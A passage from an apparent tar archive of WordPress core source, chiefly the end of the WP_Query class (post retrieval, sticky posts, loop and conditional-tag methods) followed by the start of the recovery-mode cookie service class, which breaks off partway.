IDs of the found posts * (and then individually fetch each post by ID), rather than fetching every * complete row at once. One massive result vs. many small results. * * @since 3.4.0 * * @param bool $split_the_query Whether or not to split the query. * @param WP_Query $query The WP_Query instance. */ $split_the_query = apply_filters( 'split_the_query', $split_the_query, $this ); if ( $split_the_query ) { // First get the IDs and then fill in the objects. $this->request = "SELECT $found_rows $distinct {$wpdb->posts}.ID FROM {$wpdb->posts} $join WHERE 1=1 $where $groupby $orderby $limits"; /** * Filters the Post IDs SQL request before sending. * * @since 3.4.0 * * @param string $request The post ID request. * @param WP_Query $query The WP_Query instance. */ $this->request = apply_filters( 'posts_request_ids', $this->request, $this ); $ids = $wpdb->get_col( $this->request ); if ( $ids ) { $this->posts = $ids; $this->set_found_posts( $q, $limits ); _prime_post_caches( $ids, $q['update_post_term_cache'], $q['update_post_meta_cache'] ); } else { $this->posts = array(); } } else { $this->posts = $wpdb->get_results( $this->request ); $this->set_found_posts( $q, $limits ); } } // Convert to WP_Post objects. if ( $this->posts ) { /** @var WP_Post[] */ $this->posts = array_map( 'get_post', $this->posts ); } if ( ! $q['suppress_filters'] ) { /** * Filters the raw post results array, prior to status checks. * * @since 2.3.0 * * @param WP_Post[] $posts Array of post objects. * @param WP_Query $query The WP_Query instance (passed by reference). */ $this->posts = apply_filters_ref_array( 'posts_results', array( $this->posts, &$this ) ); } if ( ! empty( $this->posts ) && $this->is_comment_feed && $this->is_singular ) { /** This filter is documented in wp-includes/query.php */ $cjoin = apply_filters_ref_array( 'comment_feed_join', array( '', &$this ) ); /** This filter is documented in wp-includes/query.php */ $cwhere = apply_filters_ref_array( 'comment_feed_where', array( "WHERE comment_post_ID = '{$this->posts[0]->ID}' AND comment_approved = '1'", &$this ) ); /** This filter is documented in wp-includes/query.php */ $cgroupby = apply_filters_ref_array( 'comment_feed_groupby', array( '', &$this ) ); $cgroupby = ( ! empty( $cgroupby ) ) ? 'GROUP BY ' . $cgroupby : ''; /** This filter is documented in wp-includes/query.php */ $corderby = apply_filters_ref_array( 'comment_feed_orderby', array( 'comment_date_gmt DESC', &$this ) ); $corderby = ( ! empty( $corderby ) ) ? 'ORDER BY ' . $corderby : ''; /** This filter is documented in wp-includes/query.php */ $climits = apply_filters_ref_array( 'comment_feed_limits', array( 'LIMIT ' . get_option( 'posts_per_rss' ), &$this ) ); $comments_request = "SELECT {$wpdb->comments}.* FROM {$wpdb->comments} $cjoin $cwhere $cgroupby $corderby $climits"; $comments = $wpdb->get_results( $comments_request ); // Convert to WP_Comment. /** @var WP_Comment[] */ $this->comments = array_map( 'get_comment', $comments ); $this->comment_count = count( $this->comments ); } // Check post status to determine if post should be displayed. if ( ! empty( $this->posts ) && ( $this->is_single || $this->is_page ) ) { $status = get_post_status( $this->posts[0] ); if ( 'attachment' === $this->posts[0]->post_type && 0 === (int) $this->posts[0]->post_parent ) { $this->is_page = false; $this->is_single = true; $this->is_attachment = true; } // If the post_status was specifically requested, let it pass through. if ( ! in_array( $status, $q_status, true ) ) { $post_status_obj = get_post_status_object( $status ); if ( $post_status_obj && ! $post_status_obj->public ) { if ( ! is_user_logged_in() ) { // User must be logged in to view unpublished posts. $this->posts = array(); } else { if ( $post_status_obj->protected ) { // User must have edit permissions on the draft to preview. if ( ! current_user_can( $edit_cap, $this->posts[0]->ID ) ) { $this->posts = array(); } else { $this->is_preview = true; if ( 'future' !== $status ) { $this->posts[0]->post_date = current_time( 'mysql' ); } } } elseif ( $post_status_obj->private ) { if ( ! current_user_can( $read_cap, $this->posts[0]->ID ) ) { $this->posts = array(); } } else { $this->posts = array(); } } } elseif ( ! $post_status_obj ) { // Post status is not registered, assume it's not public. if ( ! current_user_can( $edit_cap, $this->posts[0]->ID ) ) { $this->posts = array(); } } } if ( $this->is_preview && $this->posts && current_user_can( $edit_cap, $this->posts[0]->ID ) ) { /** * Filters the single post for preview mode. * * @since 2.7.0 * * @param WP_Post $post_preview The Post object. * @param WP_Query $query The WP_Query instance (passed by reference). */ $this->posts[0] = get_post( apply_filters_ref_array( 'the_preview', array( $this->posts[0], &$this ) ) ); } } // Put sticky posts at the top of the posts array. $sticky_posts = get_option( 'sticky_posts' ); if ( $this->is_home && $page <= 1 && is_array( $sticky_posts ) && ! empty( $sticky_posts ) && ! $q['ignore_sticky_posts'] ) { $num_posts = count( $this->posts ); $sticky_offset = 0; // Loop over posts and relocate stickies to the front. for ( $i = 0; $i < $num_posts; $i++ ) { if ( in_array( $this->posts[ $i ]->ID, $sticky_posts, true ) ) { $sticky_post = $this->posts[ $i ]; // Remove sticky from current position. array_splice( $this->posts, $i, 1 ); // Move to front, after other stickies. array_splice( $this->posts, $sticky_offset, 0, array( $sticky_post ) ); // Increment the sticky offset. The next sticky will be placed at this offset. $sticky_offset++; // Remove post from sticky posts array. $offset = array_search( $sticky_post->ID, $sticky_posts, true ); unset( $sticky_posts[ $offset ] ); } } // If any posts have been excluded specifically, Ignore those that are sticky. if ( ! empty( $sticky_posts ) && ! empty( $q['post__not_in'] ) ) { $sticky_posts = array_diff( $sticky_posts, $q['post__not_in'] ); } // Fetch sticky posts that weren't in the query results. if ( ! empty( $sticky_posts ) ) { $stickies = get_posts( array( 'post__in' => $sticky_posts, 'post_type' => $post_type, 'post_status' => 'publish', 'nopaging' => true, ) ); foreach ( $stickies as $sticky_post ) { array_splice( $this->posts, $sticky_offset, 0, array( $sticky_post ) ); $sticky_offset++; } } } // If comments have been fetched as part of the query, make sure comment meta lazy-loading is set up. if ( ! empty( $this->comments ) ) { wp_queue_comments_for_comment_meta_lazyload( $this->comments ); } if ( ! $q['suppress_filters'] ) { /** * Filters the array of retrieved posts after they've been fetched and * internally processed. * * @since 1.5.0 * * @param WP_Post[] $posts Array of post objects. * @param WP_Query $query The WP_Query instance (passed by reference). */ $this->posts = apply_filters_ref_array( 'the_posts', array( $this->posts, &$this ) ); } // Ensure that any posts added/modified via one of the filters above are // of the type WP_Post and are filtered. if ( $this->posts ) { $this->post_count = count( $this->posts ); /** @var WP_Post[] */ $this->posts = array_map( 'get_post', $this->posts ); if ( $q['cache_results'] ) { update_post_caches( $this->posts, $post_type, $q['update_post_term_cache'], $q['update_post_meta_cache'] ); } /** @var WP_Post */ $this->post = reset( $this->posts ); } else { $this->post_count = 0; $this->posts = array(); } if ( $q['lazy_load_term_meta'] ) { wp_queue_posts_for_term_meta_lazyload( $this->posts ); } return $this->posts; } /** * Set up the amount of found posts and the number of pages (if limit clause was used) * for the current query. * * @since 3.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $q Query variables. * @param string $limits LIMIT clauses of the query. */ private function set_found_posts( $q, $limits ) { global $wpdb; // Bail if posts is an empty array. Continue if posts is an empty string, // null, or false to accommodate caching plugins that fill posts later. if ( $q['no_found_rows'] || ( is_array( $this->posts ) && ! $this->posts ) ) { return; } if ( ! empty( $limits ) ) { /** * Filters the query to run for retrieving the found posts. * * @since 2.1.0 * * @param string $found_posts_query The query to run to find the found posts. * @param WP_Query $query The WP_Query instance (passed by reference). */ $found_posts_query = apply_filters_ref_array( 'found_posts_query', array( 'SELECT FOUND_ROWS()', &$this ) ); $this->found_posts = (int) $wpdb->get_var( $found_posts_query ); } else { if ( is_array( $this->posts ) ) { $this->found_posts = count( $this->posts ); } else { if ( null === $this->posts ) { $this->found_posts = 0; } else { $this->found_posts = 1; } } } /** * Filters the number of found posts for the query. * * @since 2.1.0 * * @param int $found_posts The number of posts found. * @param WP_Query $query The WP_Query instance (passed by reference). */ $this->found_posts = (int) apply_filters_ref_array( 'found_posts', array( $this->found_posts, &$this ) ); if ( ! empty( $limits ) ) { $this->max_num_pages = ceil( $this->found_posts / $q['posts_per_page'] ); } } /** * Set up the next post and iterate current post index. * * @since 1.5.0 * * @return WP_Post Next post. */ public function next_post() { $this->current_post++; /** @var WP_Post */ $this->post = $this->posts[ $this->current_post ]; return $this->post; } /** * Sets up the current post. * * Retrieves the next post, sets up the post, sets the 'in the loop' * property to true. * * @since 1.5.0 * * @global WP_Post $post Global post object. */ public function the_post() { global $post; $this->in_the_loop = true; if ( -1 == $this->current_post ) { // Loop has just started. /** * Fires once the loop is started. * * @since 2.0.0 * * @param WP_Query $query The WP_Query instance (passed by reference). */ do_action_ref_array( 'loop_start', array( &$this ) ); } $post = $this->next_post(); $this->setup_postdata( $post ); } /** * Determines whether there are more posts available in the loop. * * Calls the {@see 'loop_end'} action when the loop is complete. * * @since 1.5.0 * * @return bool True if posts are available, false if end of the loop. */ public function have_posts() { if ( $this->current_post + 1 < $this->post_count ) { return true; } elseif ( $this->current_post + 1 == $this->post_count && $this->post_count > 0 ) { /** * Fires once the loop has ended. * * @since 2.0.0 * * @param WP_Query $query The WP_Query instance (passed by reference). */ do_action_ref_array( 'loop_end', array( &$this ) ); // Do some cleaning up after the loop. $this->rewind_posts(); } elseif ( 0 === $this->post_count ) { /** * Fires if no results are found in a post query. * * @since 4.9.0 * * @param WP_Query $query The WP_Query instance. */ do_action( 'loop_no_results', $this ); } $this->in_the_loop = false; return false; } /** * Rewind the posts and reset post index. * * @since 1.5.0 */ public function rewind_posts() { $this->current_post = -1; if ( $this->post_count > 0 ) { $this->post = $this->posts[0]; } } /** * Iterate current comment index and return WP_Comment object. * * @since 2.2.0 * * @return WP_Comment Comment object. */ public function next_comment() { $this->current_comment++; /** @var WP_Comment */ $this->comment = $this->comments[ $this->current_comment ]; return $this->comment; } /** * Sets up the current comment. * * @since 2.2.0 * * @global WP_Comment $comment Global comment object. */ public function the_comment() { global $comment; $comment = $this->next_comment(); if ( 0 == $this->current_comment ) { /** * Fires once the comment loop is started. * * @since 2.2.0 */ do_action( 'comment_loop_start' ); } } /** * Whether there are more comments available. * * Automatically rewinds comments when finished. * * @since 2.2.0 * * @return bool True if comments are available, false if no more comments. */ public function have_comments() { if ( $this->current_comment + 1 < $this->comment_count ) { return true; } elseif ( $this->current_comment + 1 == $this->comment_count ) { $this->rewind_comments(); } return false; } /** * Rewind the comments, resets the comment index and comment to first. * * @since 2.2.0 */ public function rewind_comments() { $this->current_comment = -1; if ( $this->comment_count > 0 ) { $this->comment = $this->comments[0]; } } /** * Sets up the WordPress query by parsing query string. * * @since 1.5.0 * * @see WP_Query::parse_query() for all available arguments. * * @param string|array $query URL query string or array of query arguments. * @return WP_Post[]|int[] Array of post objects or post IDs. */ public function query( $query ) { $this->init(); $this->query = wp_parse_args( $query ); $this->query_vars = $this->query; return $this->get_posts(); } /** * Retrieves the currently queried object. * * If queried object is not set, then the queried object will be set from * the category, tag, taxonomy, posts page, single post, page, or author * query variable. After it is set up, it will be returned. * * @since 1.5.0 * * @return WP_Term|WP_Post_Type|WP_Post|WP_User|null The queried object. */ public function get_queried_object() { if ( isset( $this->queried_object ) ) { return $this->queried_object; } $this->queried_object = null; $this->queried_object_id = null; if ( $this->is_category || $this->is_tag || $this->is_tax ) { if ( $this->is_category ) { if ( $this->get( 'cat' ) ) { $term = get_term( $this->get( 'cat' ), 'category' ); } elseif ( $this->get( 'category_name' ) ) { $term = get_term_by( 'slug', $this->get( 'category_name' ), 'category' ); } } elseif ( $this->is_tag ) { if ( $this->get( 'tag_id' ) ) { $term = get_term( $this->get( 'tag_id' ), 'post_tag' ); } elseif ( $this->get( 'tag' ) ) { $term = get_term_by( 'slug', $this->get( 'tag' ), 'post_tag' ); } } else { // For other tax queries, grab the first term from the first clause. if ( ! empty( $this->tax_query->queried_terms ) ) { $queried_taxonomies = array_keys( $this->tax_query->queried_terms ); $matched_taxonomy = reset( $queried_taxonomies ); $query = $this->tax_query->queried_terms[ $matched_taxonomy ]; if ( ! empty( $query['terms'] ) ) { if ( 'term_id' === $query['field'] ) { $term = get_term( reset( $query['terms'] ), $matched_taxonomy ); } else { $term = get_term_by( $query['field'], reset( $query['terms'] ), $matched_taxonomy ); } } } } if ( ! empty( $term ) && ! is_wp_error( $term ) ) { $this->queried_object = $term; $this->queried_object_id = (int) $term->term_id; if ( $this->is_category && 'category' === $this->queried_object->taxonomy ) { _make_cat_compat( $this->queried_object ); } } } elseif ( $this->is_post_type_archive ) { $post_type = $this->get( 'post_type' ); if ( is_array( $post_type ) ) { $post_type = reset( $post_type ); } $this->queried_object = get_post_type_object( $post_type ); } elseif ( $this->is_posts_page ) { $page_for_posts = get_option( 'page_for_posts' ); $this->queried_object = get_post( $page_for_posts ); $this->queried_object_id = (int) $this->queried_object->ID; } elseif ( $this->is_singular && ! empty( $this->post ) ) { $this->queried_object = $this->post; $this->queried_object_id = (int) $this->post->ID; } elseif ( $this->is_author ) { $this->queried_object_id = (int) $this->get( 'author' ); $this->queried_object = get_userdata( $this->queried_object_id ); } return $this->queried_object; } /** * Retrieves the ID of the currently queried object. * * @since 1.5.0 * * @return int */ public function get_queried_object_id() { $this->get_queried_object(); if ( isset( $this->queried_object_id ) ) { return $this->queried_object_id; } return 0; } /** * Constructor. * * Sets up the WordPress query, if parameter is not empty. * * @since 1.5.0 * * @see WP_Query::parse_query() for all available arguments. * * @param string|array $query URL query string or array of vars. */ public function __construct( $query = '' ) { if ( ! empty( $query ) ) { $this->query( $query ); } } /** * Make private properties readable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to get. * @return mixed Property. */ public function __get( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { return $this->$name; } } /** * Make private properties checkable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to check if set. * @return bool Whether the property is set. */ public function __isset( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { return isset( $this->$name ); } } /** * Make private/protected methods readable for backward compatibility. * * @since 4.0.0 * * @param string $name Method to call. * @param array $arguments Arguments to pass when calling. * @return mixed|false Return value of the callback, false otherwise. */ public function __call( $name, $arguments ) { if ( in_array( $name, $this->compat_methods, true ) ) { return $this->$name( ...$arguments ); } return false; } /** * Is the query for an existing archive page? * * Archive pages include category, tag, author, date, custom post type, * and custom taxonomy based archives. * * @since 3.1.0 * * @see WP_Query::is_category() * @see WP_Query::is_tag() * @see WP_Query::is_author() * @see WP_Query::is_date() * @see WP_Query::is_post_type_archive() * @see WP_Query::is_tax() * * @return bool Whether the query is for an existing archive page. */ public function is_archive() { return (bool) $this->is_archive; } /** * Is the query for an existing post type archive page? * * @since 3.1.0 * * @param string|string[] $post_types Optional. Post type or array of posts types * to check against. Default empty. * @return bool Whether the query is for an existing post type archive page. */ public function is_post_type_archive( $post_types = '' ) { if ( empty( $post_types ) || ! $this->is_post_type_archive ) { return (bool) $this->is_post_type_archive; } $post_type = $this->get( 'post_type' ); if ( is_array( $post_type ) ) { $post_type = reset( $post_type ); } $post_type_object = get_post_type_object( $post_type ); return in_array( $post_type_object->name, (array) $post_types, true ); } /** * Is the query for an existing attachment page? * * @since 3.1.0 * * @param int|string|int[]|string[] $attachment Optional. Attachment ID, title, slug, or array of such * to check against. Default empty. * @return bool Whether the query is for an existing attachment page. */ public function is_attachment( $attachment = '' ) { if ( ! $this->is_attachment ) { return false; } if ( empty( $attachment ) ) { return true; } $attachment = array_map( 'strval', (array) $attachment ); $post_obj = $this->get_queried_object(); if ( in_array( (string) $post_obj->ID, $attachment, true ) ) { return true; } elseif ( in_array( $post_obj->post_title, $attachment, true ) ) { return true; } elseif ( in_array( $post_obj->post_name, $attachment, true ) ) { return true; } return false; } /** * Is the query for an existing author archive page? * * If the $author parameter is specified, this function will additionally * check if the query is for one of the authors specified. * * @since 3.1.0 * * @param int|string|int[]|string[] $author Optional. User ID, nickname, nicename, or array of such * to check against. Default empty. * @return bool Whether the query is for an existing author archive page. */ public function is_author( $author = '' ) { if ( ! $this->is_author ) { return false; } if ( empty( $author ) ) { return true; } $author_obj = $this->get_queried_object(); $author = array_map( 'strval', (array) $author ); if ( in_array( (string) $author_obj->ID, $author, true ) ) { return true; } elseif ( in_array( $author_obj->nickname, $author, true ) ) { return true; } elseif ( in_array( $author_obj->user_nicename, $author, true ) ) { return true; } return false; } /** * Is the query for an existing category archive page? * * If the $category parameter is specified, this function will additionally * check if the query is for one of the categories specified. * * @since 3.1.0 * * @param int|string|int[]|string[] $category Optional. Category ID, name, slug, or array of such * to check against. Default empty. * @return bool Whether the query is for an existing category archive page. */ public function is_category( $category = '' ) { if ( ! $this->is_category ) { return false; } if ( empty( $category ) ) { return true; } $cat_obj = $this->get_queried_object(); $category = array_map( 'strval', (array) $category ); if ( in_array( (string) $cat_obj->term_id, $category, true ) ) { return true; } elseif ( in_array( $cat_obj->name, $category, true ) ) { return true; } elseif ( in_array( $cat_obj->slug, $category, true ) ) { return true; } return false; } /** * Is the query for an existing tag archive page? * * If the $tag parameter is specified, this function will additionally * check if the query is for one of the tags specified. * * @since 3.1.0 * * @param int|string|int[]|string[] $tag Optional. Tag ID, name, slug, or array of such * to check against. Default empty. * @return bool Whether the query is for an existing tag archive page. */ public function is_tag( $tag = '' ) { if ( ! $this->is_tag ) { return false; } if ( empty( $tag ) ) { return true; } $tag_obj = $this->get_queried_object(); $tag = array_map( 'strval', (array) $tag ); if ( in_array( (string) $tag_obj->term_id, $tag, true ) ) { return true; } elseif ( in_array( $tag_obj->name, $tag, true ) ) { return true; } elseif ( in_array( $tag_obj->slug, $tag, true ) ) { return true; } return false; } /** * Is the query for an existing custom taxonomy archive page? * * If the $taxonomy parameter is specified, this function will additionally * check if the query is for that specific $taxonomy. * * If the $term parameter is specified in addition to the $taxonomy parameter, * this function will additionally check if the query is for one of the terms * specified. * * @since 3.1.0 * * @global array $wp_taxonomies * * @param string|string[] $taxonomy Optional. Taxonomy slug or slugs to check against. * Default empty. * @param int|string|int[]|string[] $term Optional. Term ID, name, slug, or array of such * to check against. Default empty. * @return bool Whether the query is for an existing custom taxonomy archive page. * True for custom taxonomy archive pages, false for built-in taxonomies * (category and tag archives). */ public function is_tax( $taxonomy = '', $term = '' ) { global $wp_taxonomies; if ( ! $this->is_tax ) { return false; } if ( empty( $taxonomy ) ) { return true; } $queried_object = $this->get_queried_object(); $tax_array = array_intersect( array_keys( $wp_taxonomies ), (array) $taxonomy ); $term_array = (array) $term; // Check that the taxonomy matches. if ( ! ( isset( $queried_object->taxonomy ) && count( $tax_array ) && in_array( $queried_object->taxonomy, $tax_array, true ) ) ) { return false; } // Only a taxonomy provided. if ( empty( $term ) ) { return true; } return isset( $queried_object->term_id ) && count( array_intersect( array( $queried_object->term_id, $queried_object->name, $queried_object->slug ), $term_array ) ); } /** * Whether the current URL is within the comments popup window. * * @since 3.1.0 * @deprecated 4.5.0 * * @return false Always returns false. */ public function is_comments_popup() { _deprecated_function( __FUNCTION__, '4.5.0' ); return false; } /** * Is the query for an existing date archive? * * @since 3.1.0 * * @return bool Whether the query is for an existing date archive. */ public function is_date() { return (bool) $this->is_date; } /** * Is the query for an existing day archive? * * @since 3.1.0 * * @return bool Whether the query is for an existing day archive. */ public function is_day() { return (bool) $this->is_day; } /** * Is the query for a feed? * * @since 3.1.0 * * @param string|string[] $feeds Optional. Feed type or array of feed types * to check against. Default empty. * @return bool Whether the query is for a feed. */ public function is_feed( $feeds = '' ) { if ( empty( $feeds ) || ! $this->is_feed ) { return (bool) $this->is_feed; } $qv = $this->get( 'feed' ); if ( 'feed' === $qv ) { $qv = get_default_feed(); } return in_array( $qv, (array) $feeds, true ); } /** * Is the query for a comments feed? * * @since 3.1.0 * * @return bool Whether the query is for a comments feed. */ public function is_comment_feed() { return (bool) $this->is_comment_feed; } /** * Is the query for the front page of the site? * * This is for what is displayed at your site's main URL. * * Depends on the site's "Front page displays" Reading Settings 'show_on_front' and 'page_on_front'. * * If you set a static page for the front page of your site, this function will return * true when viewing that page. * * Otherwise the same as @see WP_Query::is_home() * * @since 3.1.0 * * @return bool Whether the query is for the front page of the site. */ public function is_front_page() { // Most likely case. if ( 'posts' === get_option( 'show_on_front' ) && $this->is_home() ) { return true; } elseif ( 'page' === get_option( 'show_on_front' ) && get_option( 'page_on_front' ) && $this->is_page( get_option( 'page_on_front' ) ) ) { return true; } else { return false; } } /** * Is the query for the blog homepage? * * This is the page which shows the time based blog content of your site. * * Depends on the site's "Front page displays" Reading Settings 'show_on_front' and 'page_for_posts'. * * If you set a static page for the front page of your site, this function will return * true only on the page you set as the "Posts page". * * @since 3.1.0 * * @see WP_Query::is_front_page() * * @return bool Whether the query is for the blog homepage. */ public function is_home() { return (bool) $this->is_home; } /** * Is the query for the Privacy Policy page? * * This is the page which shows the Privacy Policy content of your site. * * Depends on the site's "Change your Privacy Policy page" Privacy Settings 'wp_page_for_privacy_policy'. * * This function will return true only on the page you set as the "Privacy Policy page". * * @since 5.2.0 * * @return bool Whether the query is for the Privacy Policy page. */ public function is_privacy_policy() { if ( get_option( 'wp_page_for_privacy_policy' ) && $this->is_page( get_option( 'wp_page_for_privacy_policy' ) ) ) { return true; } else { return false; } } /** * Is the query for an existing month archive? * * @since 3.1.0 * * @return bool Whether the query is for an existing month archive. */ public function is_month() { return (bool) $this->is_month; } /** * Is the query for an existing single page? * * If the $page parameter is specified, this function will additionally * check if the query is for one of the pages specified. * * @since 3.1.0 * * @see WP_Query::is_single() * @see WP_Query::is_singular() * * @param int|string|int[]|string[] $page Optional. Page ID, title, slug, path, or array of such * to check against. Default empty. * @return bool Whether the query is for an existing single page. */ public function is_page( $page = '' ) { if ( ! $this->is_page ) { return false; } if ( empty( $page ) ) { return true; } $page_obj = $this->get_queried_object(); $page = array_map( 'strval', (array) $page ); if ( in_array( (string) $page_obj->ID, $page, true ) ) { return true; } elseif ( in_array( $page_obj->post_title, $page, true ) ) { return true; } elseif ( in_array( $page_obj->post_name, $page, true ) ) { return true; } else { foreach ( $page as $pagepath ) { if ( ! strpos( $pagepath, '/' ) ) { continue; } $pagepath_obj = get_page_by_path( $pagepath ); if ( $pagepath_obj && ( $pagepath_obj->ID == $page_obj->ID ) ) { return true; } } } return false; } /** * Is the query for a paged result and not for the first page? * * @since 3.1.0 * * @return bool Whether the query is for a paged result. */ public function is_paged() { return (bool) $this->is_paged; } /** * Is the query for a post or page preview? * * @since 3.1.0 * * @return bool Whether the query is for a post or page preview. */ public function is_preview() { return (bool) $this->is_preview; } /** * Is the query for the robots.txt file? * * @since 3.1.0 * * @return bool Whether the query is for the robots.txt file. */ public function is_robots() { return (bool) $this->is_robots; } /** * Is the query for the favicon.ico file? * * @since 5.4.0 * * @return bool Whether the query is for the favicon.ico file. */ public function is_favicon() { return (bool) $this->is_favicon; } /** * Is the query for a search? * * @since 3.1.0 * * @return bool Whether the query is for a search. */ public function is_search() { return (bool) $this->is_search; } /** * Is the query for an existing single post? * * Works for any post type excluding pages. * * If the $post parameter is specified, this function will additionally * check if the query is for one of the Posts specified. * * @since 3.1.0 * * @see WP_Query::is_page() * @see WP_Query::is_singular() * * @param int|string|int[]|string[] $post Optional. Post ID, title, slug, path, or array of such * to check against. Default empty. * @return bool Whether the query is for an existing single post. */ public function is_single( $post = '' ) { if ( ! $this->is_single ) { return false; } if ( empty( $post ) ) { return true; } $post_obj = $this->get_queried_object(); $post = array_map( 'strval', (array) $post ); if ( in_array( (string) $post_obj->ID, $post, true ) ) { return true; } elseif ( in_array( $post_obj->post_title, $post, true ) ) { return true; } elseif ( in_array( $post_obj->post_name, $post, true ) ) { return true; } else { foreach ( $post as $postpath ) { if ( ! strpos( $postpath, '/' ) ) { continue; } $postpath_obj = get_page_by_path( $postpath, OBJECT, $post_obj->post_type ); if ( $postpath_obj && ( $postpath_obj->ID == $post_obj->ID ) ) { return true; } } } return false; } /** * Is the query for an existing single post of any post type (post, attachment, page, * custom post types)? * * If the $post_types parameter is specified, this function will additionally * check if the query is for one of the Posts Types specified. * * @since 3.1.0 * * @see WP_Query::is_page() * @see WP_Query::is_single() * * @param string|string[] $post_types Optional. Post type or array of post types * to check against. Default empty. * @return bool Whether the query is for an existing single post * or any of the given post types. */ public function is_singular( $post_types = '' ) { if ( empty( $post_types ) || ! $this->is_singular ) { return (bool) $this->is_singular; } $post_obj = $this->get_queried_object(); return in_array( $post_obj->post_type, (array) $post_types, true ); } /** * Is the query for a specific time? * * @since 3.1.0 * * @return bool Whether the query is for a specific time. */ public function is_time() { return (bool) $this->is_time; } /** * Is the query for a trackback endpoint call? * * @since 3.1.0 * * @return bool Whether the query is for a trackback endpoint call. */ public function is_trackback() { return (bool) $this->is_trackback; } /** * Is the query for an existing year archive? * * @since 3.1.0 * * @return bool Whether the query is for an existing year archive. */ public function is_year() { return (bool) $this->is_year; } /** * Is the query a 404 (returns no results)? * * @since 3.1.0 * * @return bool Whether the query is a 404 error. */ public function is_404() { return (bool) $this->is_404; } /** * Is the query for an embedded post? * * @since 4.4.0 * * @return bool Whether the query is for an embedded post. */ public function is_embed() { return (bool) $this->is_embed; } /** * Is the query the main query? * * @since 3.3.0 * * @global WP_Query $wp_query WordPress Query object. * * @return bool Whether the query is the main query. */ public function is_main_query() { global $wp_the_query; return $wp_the_query === $this; } /** * Set up global post data. * * @since 4.1.0 * @since 4.4.0 Added the ability to pass a post ID to `$post`. * * @global int $id * @global WP_User $authordata * @global string $currentday * @global string $currentmonth * @global int $page * @global array $pages * @global int $multipage * @global int $more * @global int $numpages * * @param WP_Post|object|int $post WP_Post instance or Post ID/object. * @return true True when finished. */ public function setup_postdata( $post ) { global $id, $authordata, $currentday, $currentmonth, $page, $pages, $multipage, $more, $numpages; if ( ! ( $post instanceof WP_Post ) ) { $post = get_post( $post ); } if ( ! $post ) { return; } $elements = $this->generate_postdata( $post ); if ( false === $elements ) { return; } $id = $elements['id']; $authordata = $elements['authordata']; $currentday = $elements['currentday']; $currentmonth = $elements['currentmonth']; $page = $elements['page']; $pages = $elements['pages']; $multipage = $elements['multipage']; $more = $elements['more']; $numpages = $elements['numpages']; /** * Fires once the post data has been set up. * * @since 2.8.0 * @since 4.1.0 Introduced `$query` parameter. * * @param WP_Post $post The Post object (passed by reference). * @param WP_Query $query The current Query object (passed by reference). */ do_action_ref_array( 'the_post', array( &$post, &$this ) ); return true; } /** * Generate post data. * * @since 5.2.0 * * @param WP_Post|object|int $post WP_Post instance or Post ID/object. * @return array|false Elements of post or false on failure. */ public function generate_postdata( $post ) { if ( ! ( $post instanceof WP_Post ) ) { $post = get_post( $post ); } if ( ! $post ) { return false; } $id = (int) $post->ID; $authordata = get_userdata( $post->post_author ); $currentday = mysql2date( 'd.m.y', $post->post_date, false ); $currentmonth = mysql2date( 'm', $post->post_date, false ); $numpages = 1; $multipage = 0; $page = $this->get( 'page' ); if ( ! $page ) { $page = 1; } /* * Force full post content when viewing the permalink for the $post, * or when on an RSS feed. Otherwise respect the 'more' tag. */ if ( get_queried_object_id() === $post->ID && ( $this->is_page() || $this->is_single() ) ) { $more = 1; } elseif ( $this->is_feed() ) { $more = 1; } else { $more = 0; } $content = $post->post_content; if ( false !== strpos( $content, '<!--nextpage-->' ) ) { $content = str_replace( "\n<!--nextpage-->\n", '<!--nextpage-->', $content ); $content = str_replace( "\n<!--nextpage-->", '<!--nextpage-->', $content ); $content = str_replace( "<!--nextpage-->\n", '<!--nextpage-->', $content ); // Remove the nextpage block delimiters, to avoid invalid block structures in the split content. $content = str_replace( '<!-- wp:nextpage -->', '', $content ); $content = str_replace( '<!-- /wp:nextpage -->', '', $content ); // Ignore nextpage at the beginning of the content. if ( 0 === strpos( $content, '<!--nextpage-->' ) ) { $content = substr( $content, 15 ); } $pages = explode( '<!--nextpage-->', $content ); } else { $pages = array( $post->post_content ); } /** * Filters the "pages" derived from splitting the post content. * * "Pages" are determined by splitting the post content based on the presence * of `<!-- nextpage -->` tags. * * @since 4.4.0 * * @param string[] $pages Array of "pages" from the post content split by `<!-- nextpage -->` tags. * @param WP_Post $post Current post object. */ $pages = apply_filters( 'content_pagination', $pages, $post ); $numpages = count( $pages ); if ( $numpages > 1 ) { if ( $page > 1 ) { $more = 1; } $multipage = 1; } else { $multipage = 0; } $elements = compact( 'id', 'authordata', 'currentday', 'currentmonth', 'page', 'pages', 'multipage', 'more', 'numpages' ); return $elements; } /** * After looping through a nested query, this function * restores the $post global to the current post in this query. * * @since 3.7.0 * * @global WP_Post $post Global post object. */ public function reset_postdata() { if ( ! empty( $this->post ) ) { $GLOBALS['post'] = $this->post; $this->setup_postdata( $this->post ); } } /** * Lazyload term meta for posts in the loop. * * @since 4.4.0 * @deprecated 4.5.0 See wp_queue_posts_for_term_meta_lazyload(). * * @param mixed $check * @param int $term_id * @return mixed */ public function lazyload_term_meta( $check, $term_id ) { _deprecated_function( __METHOD__, '4.5.0' ); return $check; } /** * Lazyload comment meta for comments in the loop. * * @since 4.4.0 * @deprecated 4.5.0 See wp_queue_comments_for_comment_meta_lazyload(). * * @param mixed $check * @param int $comment_id * @return mixed */ public function lazyload_comment_meta( $check, $comment_id ) { _deprecated_function( __METHOD__, '4.5.0' ); return $check; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-recovery-mode-cookie-service.php�����������������������������������������������������������0000644�����������������00000014473�15120262030�0014471 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Error Protection API: WP_Recovery_Mode_Cookie_Service class * * @package WordPress * @since 5.2.0 */ /** * Core class used to set, validate, and clear cookies that identify a Recovery Mode session. * * @since 5.2.0 */ final class WP_Recovery_Mode_Cookie_Service { /** * Checks whether the recovery mode cookie is set. * * @since 5.2.0 * * @return bool True if the cookie is set, false otherwise. */ public function is_cookie_set() { return ! empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] ); } /** * Sets the recovery mode cookie. * * This must be immediately followed by exiting the request. * * @since 5.2.0 */ public function set_cookie() { $value = $this->generate_cookie(); /** * Filters the length of time a Recovery Mode cookie is valid for. * * @since 5.2.0 * * @param int $length Length in 